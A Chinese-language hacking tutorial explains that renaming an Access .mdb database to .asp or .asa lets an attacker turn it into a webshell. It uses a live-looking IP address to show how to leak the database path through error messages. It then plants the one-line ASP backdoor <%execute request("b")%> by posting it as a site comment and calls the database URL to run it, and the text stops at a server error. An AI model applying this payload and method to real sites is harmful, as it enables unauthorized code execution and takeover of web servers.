文章作者:SuperHei·Lilo
可能是随着网络安全技术的发展吧,管理员的素质都在提高,在使用access+asp系统时,为不数据库被人下载,到把mdb改为asp或asa。先不说直接改后缀,直接可以用网快等工具直接下载,其实这样你已经是为入侵者打开了大门。入侵者可以利用asp/asa为后缀的数据库直接得到webshell。
1. 思路
大家都知道<%%>为asp文件的标志符,也就是说一个asp文件只会去执行<% %>之间的代码,access+asp的web系统的所有数据都是存放在数据库文件里(mdb文件),由于管理者把mdb文件改为了asp文件,如果我们提交的数据里包含有<%%>,那当我们访问这个asp数据库的时候就会去执行<%%>之间的代码。这样导致我们只提交恶意代码给数据库,那么asp后缀的数据库就是我们的webshell了。
2. 示例
随便找个目标,首先我们暴库,看是不是asp后缀的数据库:
<
http://220.170.151.103/test/dlog ... &log_id=210>
返回:
Microsoft VBScript 编译器错误 错误 '800a03f6' 缺少 'End' /iisHelp/common/500-100.asp,行?4 Microsoft JET Database Engine 错误 '80004005' 'D:\log_mdb\%29dlog_mdb%29.asp'不是一个有效的路径。确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。 /test/conn.asp,行?
我们提交:<
http://220.170.151.103/test/dlog ... og_mdb%2529.asp>返回一堆的乱码,这样我们可以直接用网际快车等工具直接下载数据库(这里我们不讨论)。我们回到主页看到有提供“网友评论”功能。我们注册个用户,发一条评论:
<%execute request("b")%>
这样我们就把asp代码:<%execute request("b")%>写入了数据库,那么数据库:就是我们的webshell咯。提交:<
http://220.170.151.103/test/dlog ... og_mdb%2529.asp>在乱码的最后我们看到:
/iisHelp/common/500-100.asp,行?4 Microsoft VBScript 运行时错误 错误 '800a000d' 类型不匹配